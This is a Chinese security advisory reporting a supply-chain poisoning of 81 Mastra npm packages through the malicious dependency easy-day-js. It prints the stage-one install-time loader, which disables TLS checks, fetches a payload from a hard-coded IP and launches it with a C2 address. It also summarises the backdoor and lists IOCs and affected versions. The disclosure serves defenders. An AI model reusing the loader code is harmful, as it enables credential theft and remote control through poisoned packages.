AI Agent 开发框架 Mastra 被投毒,周下载量超百万
原创
墨菲安全实验室
墨菲安全实验室
墨菲安全实验室
2026年6月17日 11:42
北京
在小说阅读器读本章
去阅读
01.简述
2026 年 6 月 17 日上午 9 点左右,墨菲安全实验室监测到 AI Agent 开发框架 Mastra 生态中共有 81 个 npm 包出现批量投毒。Mastra 是一个面向 TypeScript/Node.js 生态的 AI Agent 开发框架,被广泛用于 AI 工作流编排和智能体应用开发。
攻击者通过在受影响组件的依赖链中引入恶意包 easy-day-js@^1.11.21 实施攻击,当开发者环境或 CI/CD 流程安装了相关版本,恶意链路就会自动触发:一阶段样本负责下载并执行二阶段后门载荷,随后在本机建立持久化、回传主机信息,并等待远程控制指令下发。
02.影响分析
本次 Mastra 生态 npm 投毒事件影响面较大,主要集中在 AI Agent 开发与 CI/CD 构建环境中,造成开发者凭据及云资源访问密钥被窃取的风险。
Mastra 作为 AI Agent 开发框架,其典型应用场景通常同时接入大模型 API(如 OpenAI、Anthropic)、云服务(AWS、GCP、Cloudflare)、向量数据库及业务系统接口,使开发与运行环境中往往集中存放多类高敏感访问凭证,放大了单点环境被入侵后的潜在影响范围。
此外,恶意依赖在安装阶段即被触发执行,并通过二阶段载荷实现后门投递与后续远程控制能力。
03.投毒分析
第一阶段:安装期下载并启动二阶段载荷
1、攻击者在 Mastra 相关组件中引入恶意依赖
以NPM包 @mastra/core v1.42.1为例,攻击者在 package.json 中引入恶意依赖:
{ \"bugs\": { \"url\": \"https://github.com/mastra-ai/mastra/issues\" }, \"dependencies\": { \"@a2a-js/sdk\": \"~0.3.13\", \"@ai-sdk/provider-utils-v5\": \"npm:@ai-sdk/[email protected]\", \"easy-day-js\": \"^1.11.21\", …… }}
2、easy-day-js 投毒行为分析
第一阶段:安装期下载并启动二阶段载荷
恶意逻辑会在安装阶段执行 setup.cjs,首先将 NODE_TLS_REJECT_UNAUTHORIZED 设为 0 以关闭 TLS 证书校验,随后从硬编码地址 https://23.254.164.92:8000/update/49890878 下载二阶段载荷,并写入系统临时目录下一个随机命名的 .js 文件中。
之后,样本会调用当前 Node 解释器在后台静默启动该文件,并将 23.254.164.123:443 作为后续控制地址传入,最后删除自身以减少取证痕迹,核心代码:
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';const stage1 = 'https://23.254.164.92:8000/update/49890878';const c2 = '23.254.164.123:443';writeFileSync(join(tmpdir(), '.pkg_history'), __dirname, 'utf-8');writeFileSync(join(tmpdir(), '.pkg_logs'), Buffer.from([ 0xe5, 0xe1, 0xf3, 0xf9, 0xad, 0xe4, 0xe1, 0xf9, 0xad, 0xea, 0xf3]));const payload = await (await fetch(stage1, { method: 'GET' })).text();const file = join(tmpdir(), randomBytes(12).toString('hex') + '.js');writeFileSync(file, payload, 'utf-8');spawn(process.execPath, [file, c2], { detached: true, stdio: 'ignore', windowsHide: true}).unref();rmSync(__filename, { force: true });
第二阶段:跨平台驻留并执行远程指令
二阶段样本是一个跨平台后门控制器,会在 Windows、macOS 和 Linux 环境中分别建立持久化机制,并收集主机基础信息、进程列表、已安装软件以及 Chromium 系浏览器配置、历史域名和扩展数据。
网络侧,样本会将数据经 Base64 编码后发送至 https://<目标>:443/49890878,主控地址为 23.254.164.123:443,同时具备备用域名生成能力,二阶段样本同时支持远程下发模块,并可通过 Node、Shell、NSpawn、SSpawn 四种方式执行,具备持续控制和能力扩展特征。
04.IOC
https[:]//23.254.164.92[:]8000/update/4989087823.254.164.123:443gRToJpgrMD.com:443ETXLKwmGZX.com:443HkcZyxKCeW.com:443ngeplTOYuj.com:443wmvgYFtYZF.com:443yXukyypoFh.com:443okezFhgNYI.com:443nIkVECvUXe.com:443euohgEeQZl.com:443YpTGqthaVC.com:443
**05.影响组件清单
| 组件名 | 版本 |
| @mastra/acp | 0.2.2 |
| @mastra/agent-browser | 0.3.2 |
| @mastra/agent-builder | 1.0.42 |
| @mastra/ai-sdk | 1.4.6 |
| @mastra/arize | 1.2.3 |
| @mastra/auth | 1.0.3 |
| @mastra/auth-auth0 | 1.0.2 |
| @mastra/auth-better-auth | 1.0.4 |
| @mastra/auth-clerk | 1.0.3 |
| @mastra/auth-supabase | 1.0.2 |
| @mastra/auth-workos | 1.5.3 |
| @mastra/blaxel | 0.4.2 |
| @mastra/braintrust | 1.1.4 |
| @mastra/chroma | 1.0.2 |
| @mastra/clickhouse | 1.10.1 |
| @mastra/client-js | 1.24.1 |
| @mastra/cloudflare | 1.4.2 |
| @mastra/cloudflare-d1 | 1.0.7 |
| @mastra/convex | 1.2.2 |
| @mastra/core | 1.42.1 |
| @mastra/couchbase | 1.0.4 |
| @mastra/datadog | 1.2.5 |
| @mastra/daytona | 0.4.2 |
| @mastra/deployer | 1.42.1 |
| @mastra/deployer-cloudflare | 1.1.44 |
| @mastra/deployer-vercel | 1.1.38 |
| @mastra/docker | 0.3.1 |
| @mastra/dsql | 1.0.3 |
| @mastra/duckdb | 1.4.3 |
| @mastra/dynamodb | 1.0.9 |
| @mastra/e2b | 0.3.4 |
| @mastra/editor | 0.11.3 |
| @mastra/evals | 1.3.1 |
| @mastra/express | 1.3.31 |
| @mastra/fastembed | 1.1.3 |
| @mastra/fastify | 1.3.31 |
| @mastra/gcs | 0.2.3 |
| @mastra/hono | 1.4.26 |
| @mastra/inngest | 1.5.2 |
| @mastra/koa | 1.5.14 |
| @mastra/langfuse | 1.3.6 |
| @mastra/langsmith | 1.2.4 |
| @mastra/libsql | 1.13.1 |
| @mastra/loggers | 1.1.3 |
| @mastra/longmemeval | 1.0.50 |
| @mastra/mcp | 1.10.1 |
| @mastra/mcp-docs-server | 1.1.47 |
| @mastra/mcp-registry-registry | 1.0.2 |
| @mastra/memory | 1.20.4 |
| @mastra/mongodb | 1.9.3 |
| @mastra/mssql | 1.3.2 |
| @mastra/nestjs | 0.1.15 |
| @mastra/observability | 1.14.2 |
| @mastra/otel-bridge | 1.2.3 |
| @mastra/otel-exporter | 1.2.3 |
| @mastra/pg | 1.13.1 |
| @mastra/pinecone | 1.0.2 |
| @mastra/playground-ui | 33.0.1 |
| @mastra/posthog | 1.0.29 |
| @mastra/qdrant | 1.0.3 |
| @mastra/rag | 2.2.2 |
| @mastra/redis | 1.1.3 |
| @mastra/s3 | 0.5.3 |
| @mastra/s3vectors | 1.0.7 |
| @mastra/schema-compat | 1.2.12 |
| @mastra/sentry | 1.1.4 |
| @mastra/server | 2.1.1 |
| @mastra/stagehand | 0.2.5 |
| @mastra/tavily | 1.0.3 |
| @mastra/temporal | 0.1.14 |
| @mastra/turbopuffer | 1.0.3 |
| @mastra/upstash | 1.1.3 |
| @mastra/vectorize | 1.0.3 |
| @mastra/voice-aws-nova-sonic | 0.1.4 |
| @mastra/voice-deepgram | 0.12.2 |
| @mastra/voice-elevenlabs | 0.12.2 |
| @mastra/voice-google | 0.12.3 |
| @mastra/voice-google-gemini-live | 0.12.2 |
| @mastra/voice-openai | 0.12.3 |
| @mastra/voice-openai-realtime | 0.12.6 |
| mastra | 1.13.1 |
企业级漏洞及投毒治理实践扫码领取:
*部分典型客户*
**
**七大产品矩阵****
****
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论